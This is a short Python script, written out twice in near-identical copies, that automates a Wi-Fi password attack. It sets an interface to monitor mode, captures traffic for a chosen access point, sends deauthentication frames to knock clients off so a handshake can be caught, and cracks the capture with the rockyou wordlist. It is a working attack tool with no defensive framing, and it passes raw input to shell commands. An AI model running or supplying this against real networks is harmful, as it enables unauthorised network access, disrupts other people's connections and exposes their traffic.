import subprocess
import os
import time
import sys
interface = input("Interface: ")
bssid = input("BSSID: ")
channel = input("Channel: ")
os.system(f"airmon-ng start {interface}")
os.system(f"airodump-ng -c {channel} --bssid {bssid} -w capture {interface}mon &")
time.sleep(5)
os.system(f"aireplay-ng -0 5 -a {bssid} {interface}mon")
time.sleep(10)
os.system("aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt")
import os
import time
import sys
interface = input("Interface: ")
bssid = input("BSSID: ")
channel = input("Channel: ")
os.system(f"airmon-ng start {interface}")
os.system(f"airodump-ng -c {channel} --bssid {bssid} -w capture {interface}mon &")
time.sleep(5)
os.system(f"aireplay-ng -0 5 -a {bssid} {interface}mon")
time.sleep(10)
os.system("aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt")


